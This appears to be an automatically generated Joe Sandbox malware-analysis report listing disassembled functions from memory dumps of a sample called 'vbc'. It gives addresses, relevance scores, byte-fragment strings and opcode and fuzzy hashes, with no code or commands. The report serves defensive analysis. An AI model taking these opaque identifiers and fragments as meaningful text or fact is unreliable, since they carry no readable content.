Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: 8^~k$8^~k
API String ID: 0-3775428071
Opcode ID: 8b3566f8c77968da50015bd78ec922517a46d1e90e08c6e374047fabe84166e6
Instruction ID: 837b07d9d8bc32f695c472ce5f54e873d587bd3d25028c44645cec57c7971961
Opcode Fuzzy Hash: 8b3566f8c77968da50015bd78ec922517a46d1e90e08c6e374047fabe84166e6
Instruction Fuzzy Hash: 89F1C174A012288FDB68DF64C990BDEB7B2BF89304F5081E9D40AA7350DB35AE85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04BD08F8 Relevance: .5, Instructions: 503COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a085c94b77e321c2c84cfa4e7330c4ebcc65041e780cfbbb1ada19ee7f57836a
Instruction ID: eb00d23f95216a69453a84e9ad70b1103e999e606c9c8c9667562f1f8b452629
Opcode Fuzzy Hash: a085c94b77e321c2c84cfa4e7330c4ebcc65041e780cfbbb1ada19ee7f57836a
Instruction Fuzzy Hash: D3221475901228DFDB25DF64C944BD9BBB2FF4A305F0084E9D509AB2A0DB39AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A02FB08 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95a8d4d096e8c382a7cfd56ad20f8a0718098f139c2900418f909d13b670ce61
Instruction ID: 2a42174030845cbe2405178a8e7999f1a5733072d4577ab5b3875caf1d7405b0
Opcode Fuzzy Hash: 95a8d4d096e8c382a7cfd56ad20f8a0718098f139c2900418f909d13b670ce61
Instruction Fuzzy Hash: 3CA1B374E01328CFEB64DFA9C594B9DBBB2BF89304F2081AAD409AB351DB345985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A080048 Relevance: 34.4, Strings: 27, Instructions: 674COMMON

Download Yara Rule

Strings

xP~k, xrefs: 0A0809CF
xP~k, xrefs: 0A08088B
xP~k, xrefs: 0A08081F
xP~k, xrefs: 0A0808C1
xP~k, xrefs: 0A0807B3
xP~k, xrefs: 0A080855
xP~k, xrefs: 0A080C21
xP~k, xrefs: 0A0807E9
xP~k, xrefs: 0A080C57
xP~k, xrefs: 0A080A71
xP~k, xrefs: 0A08092D
xP~k, xrefs: 0A080B49
xP~k, xrefs: 0A080711
xP~k, xrefs: 0A080ADD
xP~k, xrefs: 0A080B13
xP~k, xrefs: 0A080AA7
xP~k, xrefs: 0A0808F7
xP~k, xrefs: 0A080A3B
xP~k, xrefs: 0A080747
xP~k, xrefs: 0A080999
xP~k, xrefs: 0A0806DB
xP~k, xrefs: 0A080963
xP~k, xrefs: 0A080BEB
xP~k, xrefs: 0A080A05
xP~k, xrefs: 0A08077D
xP~k, xrefs: 0A080BB5
xP~k, xrefs: 0A080B7F

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k$xP~k
API String ID: 0-1967270111
Opcode ID: f99fecc31ffed24caa9f49ec703d1813e84f57eb218fed08f1e5e0b95539c819
Instruction ID: ccc724ba7ac0c2266b912d2fa4177308b83338b00987e99206485862c3ae81bf
Opcode Fuzzy Hash: f99fecc31ffed24caa9f49ec703d1813e84f57eb218fed08f1e5e0b95539c819
Instruction Fuzzy Hash: D64289B07006189FD724AF78C15466E77A2FFC6619F01086CD6439FBA0CB79EC498B96

Uniqueness

Uniqueness Score: -1.00%

Function 0A081AF8 Relevance: 27.7, Strings: 21, Instructions: 1444COMMON

Download Yara Rule

Strings

8, xrefs: 0A0824B3
8, xrefs: 0A0821D2
8, xrefs: 0A082663
8, xrefs: 0A0824D9
8, xrefs: 0A0825B1
8, xrefs: 0A08227B
8, xrefs: 0A082407
8, xrefs: 0A082689
8, xrefs: 0A082427
8, xrefs: 0A082DB5
8, xrefs: 0A082298
8, xrefs: 0A0825D7
8, xrefs: 0A082D8F
8, xrefs: 0A0824FF
8, xrefs: 0A0823E1
8, xrefs: 0A0826AF
8, xrefs: 0A082255
8, xrefs: 0A08258B
8, xrefs: 0A082D6D
8, xrefs: 0A0821B5
8, xrefs: 0A08218F

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: 8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8
API String ID: 0-1009596050
Opcode ID: 47b3602f430ef3d26f22f0af93c8df7113c7da5ffbab1167f724298e64c5a39b
Instruction ID: b2a790abf5bf9c85c854ccbeb8cbffb9b9cab4c0bbe93105fed126798ebea3ee
Opcode Fuzzy Hash: 47b3602f430ef3d26f22f0af93c8df7113c7da5ffbab1167f724298e64c5a39b
Instruction Fuzzy Hash: F3C2B074B002189FDB24EF64C880ADDB7B6FF48704F108099E61AAB7A5CB71AD85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0A0843C0 Relevance: 14.1, Strings: 11, Instructions: 348COMMON

Download Yara Rule

Strings

<q, xrefs: 0A0846DE
83, xrefs: 0A084457
@93, xrefs: 0A08459E
|93, xrefs: 0A0843D2
<q, xrefs: 0A0847A9
@8, xrefs: 0A084737
(93, xrefs: 0A084546
X93, xrefs: 0A0845D9
|93, xrefs: 0A0843DC
@8, xrefs: 0A08474B
@8, xrefs: 0A084706

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: (93$<q$<q$@93$@8$@8$@8$X93$|93$|93$83
API String ID: 0-1312555666
Opcode ID: 737ccd2aadb3c74669a0aeae9f3d2883da6444812ef69650b6af4a3a3c8b18fd
Instruction ID: ce1ed29cbf4c189f73b40191780b8aca70169f24f093078a1686e1f60634826e
Opcode Fuzzy Hash: 737ccd2aadb3c74669a0aeae9f3d2883da6444812ef69650b6af4a3a3c8b18fd
Instruction Fuzzy Hash: 88D14A79B002149FCB44DF68D894E9EBBF6EF8D700B1180A9E946AB361CB71EC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0A02AE48 Relevance: 9.1, Strings: 7, Instructions: 307COMMON

Download Yara Rule

Strings

8, xrefs: 0A02AFD8
8, xrefs: 0A02B020
8, xrefs: 0A02AF24
8, xrefs: 0A02B044
8, xrefs: 0A02AF48
8, xrefs: 0A02B068
8, xrefs: 0A02AF90

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: 8$8$8$8$8$8$8
API String ID: 0-661569898
Opcode ID: 3b28d5e3d7c9b676b1800a90e15219278c6580b7dd645edbf3d9af6ebb9f50e7
Instruction ID: b15f167c53597355f3f97ce84f5447a7a33fc92b9293e558af6a1e52e872a607
Opcode Fuzzy Hash: 3b28d5e3d7c9b676b1800a90e15219278c6580b7dd645edbf3d9af6ebb9f50e7
Instruction Fuzzy Hash: 93D1D874D00218DFDB14EFB4D954A9DBBB2FF8A305F5090AAE50AAB261CB35AC45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A02AE3A Relevance: 9.0, Strings: 7, Instructions: 289COMMON

Download Yara Rule

Strings

8, xrefs: 0A02AFD8
8, xrefs: 0A02B020
8, xrefs: 0A02AF24
8, xrefs: 0A02B044
8, xrefs: 0A02AF48
8, xrefs: 0A02B068
8, xrefs: 0A02AF90

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: 8$8$8$8$8$8$8
API String ID: 0-661569898
Opcode ID: 931a52dd6231bacab9bce9fe0913b9b78205f2cca212dd76f724360f94380be6
Instruction ID: c5cd61c27e6c0fdf86eaedb70613e9ec609095b4a0728a2e069244773fefe9e5
Opcode Fuzzy Hash: 931a52dd6231bacab9bce9fe0913b9b78205f2cca212dd76f724360f94380be6
Instruction Fuzzy Hash: 6AD1FB74D00218DFDB15EFB4D954A9DBBB2FF8A305F5090AAE40AAB261CB35AC45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A083930 Relevance: 8.1, Strings: 6, Instructions: 559COMMON

Download Yara Rule

Strings

@8, xrefs: 0A083EFC
$B3, xrefs: 0A083B51
$B3, xrefs: 0A083BAA
@8, xrefs: 0A083ECC
@8, xrefs: 0A083F12
$B3, xrefs: 0A083B85

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: $B3$$B3$$B3$@8$@8$@8
API String ID: 0-4115029043
Opcode ID: a646f3af0d51c1758f9c78643b484d6ec6d9a659f40ca4dc857e22d684a5eb69
Instruction ID: 5ae28f28100f9ab2dc54da08450c05960d557183754223b305d6c9b410e0e858
Opcode Fuzzy Hash: a646f3af0d51c1758f9c78643b484d6ec6d9a659f40ca4dc857e22d684a5eb69
Instruction Fuzzy Hash: B4222975B002089FCB04DFA9C994EAEBBF6EF89704B118069E506DB3A1CB71ED05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0A08494F Relevance: 6.7, Strings: 5, Instructions: 430COMMON

Download Yara Rule

Strings

xP~k, xrefs: 0A084FA4
xP~k, xrefs: 0A084F02
xP~k, xrefs: 0A084F38
xP~k, xrefs: 0A084F6E
xP~k, xrefs: 0A084ECC

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: xP~k$xP~k$xP~k$xP~k$xP~k
API String ID: 0-1336994215
Opcode ID: d67d497fa08de0b99501e4e6aa59f4faa5577fc23ae91f696a8b20f6c0c8704b
Instruction ID: b9d053fb9239eb2bb0b38855115287d178ff8fbfedcdcb1db76ed35b67d2e51a
Opcode Fuzzy Hash: d67d497fa08de0b99501e4e6aa59f4faa5577fc23ae91f696a8b20f6c0c8704b
Instruction Fuzzy Hash: 4CF106707002099FD764AB74C49462E77E6FFC9218F0184A9E5868F7A1CF79EC05CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0A0843A5 Relevance: 6.4, Strings: 5, Instructions: 194COMMON

Download Yara Rule

Strings

@93, xrefs: 0A08459E
83, xrefs: 0A084457
|93, xrefs: 0A0843D2
(93, xrefs: 0A084546
X93, xrefs: 0A0845D9

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: (93$@93$X93$|93$83
API String ID: 0-1435089519
Opcode ID: f5dad2c5f470de9ce80a9b8b6d73107128578685d91e7ae91db19e3a3f5e9236
Instruction ID: 585571d53de933950cf9b605e686ba348a42486c72c2c38f156c9844891a10ae
Opcode Fuzzy Hash: f5dad2c5f470de9ce80a9b8b6d73107128578685d91e7ae91db19e3a3f5e9236
Instruction Fuzzy Hash: B97129397041049FCB04DF68D894EAEBBF6EF89700B118099E6469F7A2CB76EC41CB55

Uniqueness

Uniqueness Score: -1.00%

Function 04BD9A48 Relevance: 4.5, Strings: 2, Instructions: 1973COMMON

Download Yara Rule

Strings

8, xrefs: 04BDBA2E
8, xrefs: 04BDBA3E

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 8$8
API String ID: 0-2729855310
Opcode ID: c58cc95a2772e679fe04342c6abaa2d3f177d3710e22690a5f25c3acd90b77c5
Instruction ID: fee7bc41d884c663a7a5c3694d5f7dc188c1c5f962c7debd881fa69a87ef260e
Opcode Fuzzy Hash: c58cc95a2772e679fe04342c6abaa2d3f177d3710e22690a5f25c3acd90b77c5
Instruction Fuzzy Hash: 2513FE39E02208EFDB169B60D458999B732FF5930AF2188ABDD1126F55CB3BD942DF01

Uniqueness

Uniqueness Score: -1.00%

Function 0A080CE8 Relevance: 4.4, Strings: 3, Instructions: 617COMMON

Download Yara Rule

Strings

lo, xrefs: 0A08142F
To, xrefs: 0A0813CF
<o, xrefs: 0A08131B

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: <o$To$lo
API String ID: 0-508134984
Opcode ID: 27c1b51951a1742201fa20d9cbe69b9ff225ec7f0c92a92a6647681445803f02
Instruction ID: 3e53179303ae6ebb94578f6e5d8bbcbf5a4606894d5e743d7e08a07c5810a8b2
Opcode Fuzzy Hash: 27c1b51951a1742201fa20d9cbe69b9ff225ec7f0c92a92a6647681445803f02
Instruction Fuzzy Hash: 6C2201707002489FCB65AB64D954A7EBBE7BF89204F008069E546CB7A1CF75DC06CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0A02B978 Relevance: 4.0, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

;Avb^, xrefs: 0A02BA46, 0A02BA4B
G}k, xrefs: 0A02BA36
+Avb^, xrefs: 0A02BADA, 0A02BADF

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: +Avb^$;Avb^$G}k
API String ID: 0-2294785416
Opcode ID: 38d1e2595fb4131f09013112820b8c85704c0960233b406ad1a88257c9577166
Instruction ID: b8311fbe8262e8875d8033cd15b1a593541232384200e5699cc1313cf0500bfb
Opcode Fuzzy Hash: 38d1e2595fb4131f09013112820b8c85704c0960233b406ad1a88257c9577166
Instruction Fuzzy Hash: 15B19F74E00228CFDB64DFA9D994B9DBBF1BF49304F1081AAD409AB361DB74A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A02B968 Relevance: 3.9, Strings: 3, Instructions: 160COMMON

Download Yara Rule

Strings

;Avb^, xrefs: 0A02BA46, 0A02BA4B
G}k, xrefs: 0A02BA36
+Avb^, xrefs: 0A02BADA, 0A02BADF

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: +Avb^$;Avb^$G}k
API String ID: 0-2294785416
Opcode ID: 734f6fb4ce9217dfa1e736ce438846a9e075ee7fddc11d0ad10bb82eca05b1dc
Instruction ID: 15863252aaf9c2457917174dfa0e9ddf9e11875ad553d824e4c9d1d8d420e266
Opcode Fuzzy Hash: 734f6fb4ce9217dfa1e736ce438846a9e075ee7fddc11d0ad10bb82eca05b1dc
Instruction Fuzzy Hash: 2171AE74E003188FDB64DFA9C995B9DBBF2BF89304F20816AD409AB355DB346985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0A084260 Relevance: 3.9, Strings: 3, Instructions: 116COMMON

Download Yara Rule

Strings

|93, xrefs: 0A0842EC
|93, xrefs: 0A084332
|93, xrefs: 0A08431C

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: |93$|93$|93
API String ID: 0-3368715101
Opcode ID: 3b63008d806baa3257e412dae4e807c7a59e80237ac7ffff0cd794f939c47705
Instruction ID: 895ce5a34311880b15513b49f3636a8ca9a210dbf23f188ce10cffbf6992ac12
Opcode Fuzzy Hash: 3b63008d806baa3257e412dae4e807c7a59e80237ac7ffff0cd794f939c47705
Instruction Fuzzy Hash: FE410775B001089FCB44DF69D998AAEBBF5FF88615B114069E506DB3A1CB35EC04CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0A096378 Relevance: 3.8, Strings: 3, Instructions: 84COMMON

Download Yara Rule

Strings

<Yr, xrefs: 0A0963F6
<[r, xrefs: 0A096422
PVr, xrefs: 0A09639F

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: <Yr$<[r$PVr
API String ID: 0-1142171819
Opcode ID: 50c2f427f217a4ff664dc27e9856bda7ac4506810e15a222af0b66762246c686
Instruction ID: 585a12c492c4168db5f76ffbdd61ba633928bdf6bf4d62eaed5a3d1d3ed04122
Opcode Fuzzy Hash: 50c2f427f217a4ff664dc27e9856bda7ac4506810e15a222af0b66762246c686
Instruction Fuzzy Hash: 022171353113448FDB94DF6CC09499A7BE6AF89318B1189B9E145CFB65DB32EC069B80

Uniqueness

Uniqueness Score: -1.00%

Function 04BD9A0A Relevance: 3.2, Strings: 1, Instructions: 1993COMMON

Download Yara Rule

Strings

8, xrefs: 04BDBA2E

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-1254964902
Opcode ID: 300e5a2e1b57344316b72ad8740b3f194b16e3cc4b93c27e0233ec8397bed2e1
Instruction ID: e3b2696648ac69bcb6e1dc961e4b77564fe4872d7eea078c89d12c22194abe2d
Opcode Fuzzy Hash: 300e5a2e1b57344316b72ad8740b3f194b16e3cc4b93c27e0233ec8397bed2e1
Instruction Fuzzy Hash: 1E13FF39E02208EFDB169B60D458999B732FF59306F2188ABDD1126F65CB3BD942DF01

Uniqueness

Uniqueness Score: -1.00%

Function 0A0814DA Relevance: 2.8, Strings: 2, Instructions: 341COMMON

Download Yara Rule

Strings

xP~k, xrefs: 0A081A8B
xP~k, xrefs: 0A081A55

Memory Dump Source

Source File: 00000002.00000002.511634359.000000000A080000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a080000_vbc.jbxd

Similarity

API ID:
String ID: xP~k$xP~k
API String ID: 0-3147436517
Opcode ID: c03a0bec279db74909e3d64a0e59b3266aeb6fdbc65532a88ca51961285376bf
Instruction ID: 12b96f6dd95cb7666a0ee6fb9a0bd00e817f9079ce808bef3b3c83b3b686cc9b
Opcode Fuzzy Hash: c03a0bec279db74909e3d64a0e59b3266aeb6fdbc65532a88ca51961285376bf
Instruction Fuzzy Hash: FCC1F6B47002489FC764AB74D4A4A7EB7E6EFC9204F00456AD647CB3A1CFB4EC468B56

Uniqueness

Uniqueness Score: -1.00%

Function 0A095BE0 Relevance: 2.8, Strings: 2, Instructions: 323COMMON

Download Yara Rule

Strings

q, xrefs: 0A095F14
|q, xrefs: 0A095F39

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: q$|q
API String ID: 0-3810432056
Opcode ID: a3eabc28b1502a4070b1693578e8ff2b6f7f6dd26beda73450f0b6968edc0768
Instruction ID: f26224d3d046d45b0929281eb339e5bee9825511e462e6045ba394bf56660855
Opcode Fuzzy Hash: a3eabc28b1502a4070b1693578e8ff2b6f7f6dd26beda73450f0b6968edc0768
Instruction Fuzzy Hash: B4B11471B002095FCB15AF79D9545AEBBF6FF89310B04856AE909DB381DB31BC098BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0A0211D0 Relevance: 2.8, Strings: 2, Instructions: 316COMMON

Download Yara Rule

Strings

Dw[g, xrefs: 0A0212AA
Dw[g, xrefs: 0A02138A

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: Dw[g$Dw[g
API String ID: 0-215028892
Opcode ID: 548bbd6d3c829f6ab1f0c3a19c8887b7824a8a79d1b5477ae4cad2bef16d2904
Instruction ID: dfa93c161f6e2c39f5417870767a7bec7cceb1d79ec3d1f3c361f68ad176ddd4
Opcode Fuzzy Hash: 548bbd6d3c829f6ab1f0c3a19c8887b7824a8a79d1b5477ae4cad2bef16d2904
Instruction Fuzzy Hash: BFC16031B00219DFDB14CF79D9449AEBBF2FF88254B158669E806E7350EB30EC468B90

Uniqueness

Uniqueness Score: -1.00%

Function 0A099DB0 Relevance: 2.7, Strings: 2, Instructions: 202COMMON

Download Yara Rule

Strings

,pu, xrefs: 0A099DF1
zu, xrefs: 0A099E61

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: ,pu$zu
API String ID: 0-1739510046
Opcode ID: ea9db802c4664f5e46e7273c3ef16c4570b96c73e8cbd99a443b40b652e33873
Instruction ID: 05f1699fbb378e748a21584a60df7ca1a5ce243a7150b59950edf550bb4b412e
Opcode Fuzzy Hash: ea9db802c4664f5e46e7273c3ef16c4570b96c73e8cbd99a443b40b652e33873
Instruction Fuzzy Hash: F2713532A052448FDB55DF74C89459EBFF2EF4A304F0940AEE105DB2A2DB359C06CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0A09E210 Relevance: 2.7, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

`yzk, xrefs: 0A09E231
`yzk, xrefs: 0A09E3F2

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: `yzk$`yzk
API String ID: 0-2024369145
Opcode ID: b242c8ff5fa15d0421cc54252bfb95e99b5d5b54affdf948af9404ee5119f976
Instruction ID: c7259aeec0b01eb0a17490f5f41465c0259763649e850465a5e8e9288428d464
Opcode Fuzzy Hash: b242c8ff5fa15d0421cc54252bfb95e99b5d5b54affdf948af9404ee5119f976
Instruction Fuzzy Hash: 10511735B00219EFCB54E774D5945AEBAE7AFC8254B188939E803E7344DF789C068BD2

Uniqueness

Uniqueness Score: -1.00%

Function 0A0982D8 Relevance: 2.6, Strings: 2, Instructions: 76COMMON

Download Yara Rule

Strings

h<u, xrefs: 0A09830F
TDu, xrefs: 0A098324

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: TDu$h<u
API String ID: 0-822679884
Opcode ID: 33eff6252136bbe42c00fd1dee8b4e8ae4314770ae81f57092331afa3a9ee0b8
Instruction ID: a2fe6fe71b88bff285b977abdbbc2e2116c56b90be971a79630273d5bac27ad5
Opcode Fuzzy Hash: 33eff6252136bbe42c00fd1dee8b4e8ae4314770ae81f57092331afa3a9ee0b8
Instruction Fuzzy Hash: B8314B3560020ADFCB44DF68D58889DBBF6FF89314B208199D9069B365DB72ED06CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0A098E90 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

bu, xrefs: 0A098EAE
XXu, xrefs: 0A098F02

Memory Dump Source

Source File: 00000002.00000002.511709556.000000000A090000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a090000_vbc.jbxd

Similarity

API ID:
String ID: XXu$bu
API String ID: 0-1743405443
Opcode ID: e71b8d53f6de284467e55fa91852848152b3cd2509055ee27b5b310ffb9f9094
Instruction ID: 3594fe26934d51b4a4a06125a52975f3f2b54d6e9d417e6b36df9e5d0c904316
Opcode Fuzzy Hash: e71b8d53f6de284467e55fa91852848152b3cd2509055ee27b5b310ffb9f9094
Instruction Fuzzy Hash: 1E21A535300650AFD7959F29D898D7ABBEAEF8D310B10806EFA4687361CB36DC44CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04BDCE98 Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

@8, xrefs: 04BDCEAC
8, xrefs: 04BDCEFB

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: @8$8
API String ID: 0-193034402
Opcode ID: e986be094711a4300722c3acc7dc6d2ad725f65f48d1797fb005eb4a0280e1b4
Instruction ID: 371ee46c946583695dbc032fb12c3ee1160e4dd399b70fdf897b6ccdc36623bd
Opcode Fuzzy Hash: e986be094711a4300722c3acc7dc6d2ad725f65f48d1797fb005eb4a0280e1b4
Instruction Fuzzy Hash: 6411B13470170AABC714EF28D544A9EB3B6FF85218B104D29D1065B764EB70BD4E8BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0A025B00 Relevance: 1.7, Strings: 1, Instructions: 483COMMON

Download Yara Rule

Strings

xP~k, xrefs: 0A025BB3

Memory Dump Source

Source File: 00000002.00000002.510999781.000000000A020000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a020000_vbc.jbxd

Similarity

API ID:
String ID: xP~k
API String ID: 0-2293208439
Opcode ID: 68276cdf089296957ebaced7dd3c261dd663e58e7c04da5882d551e34c2c0382
Instruction ID: dad6a918dbe5e0ec97d83337df1745589a6e90232c96f8967c48eddb13abf260
Opcode Fuzzy Hash: 68276cdf089296957ebaced7dd3c261dd663e58e7c04da5882d551e34c2c0382
Instruction Fuzzy Hash: 8FF1B170B002048FDB55AB78D5A86AE7BF3EFC9215F1444AAE506DB391DF38DC068B91

Uniqueness

Uniqueness Score: -1.00%

Function 04BDEC78 Relevance: 1.7, Strings: 1, Instructions: 409COMMON

Download Yara Rule

Strings

\A~k, xrefs: 04BDEE1B

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: \A~k
API String ID: 0-3122357337
Opcode ID: 51c9f6f50edf2b889b815f914e5ffcbc3a081c37df650d6c116878c6b46e8571
Instruction ID: a5ef79bc16e2d4309bc9251502dec18dd18afc264d0c5ed68208f508bb12312e
Opcode Fuzzy Hash: 51c9f6f50edf2b889b815f914e5ffcbc3a081c37df650d6c116878c6b46e8571
Instruction Fuzzy Hash: 96F12D74B002088FDB14DBB4D598AAEBBF2EF89715F1040A9E506DB7A0DB34AC46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04BDF4F8 Relevance: 1.6, Strings: 1, Instructions: 347COMMON

Download Yara Rule

Strings

0k, xrefs: 04BDF5F5

Memory Dump Source

Source File: 00000002.00000002.424393568.0000000004BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4bd0000_vbc.jbxd

Similarity

API ID:
String ID: 0k
API String ID: 0-372558261
Opcode ID: 7ead09bac1c066d791c38bb7a15388b6322d9c6e3a763d6f9925a6892822f5f3
Instruction ID: 3d795c235f3441c86aaf909f6f63ae03f0b67c7d20ad1dc53c062fae2130dfac
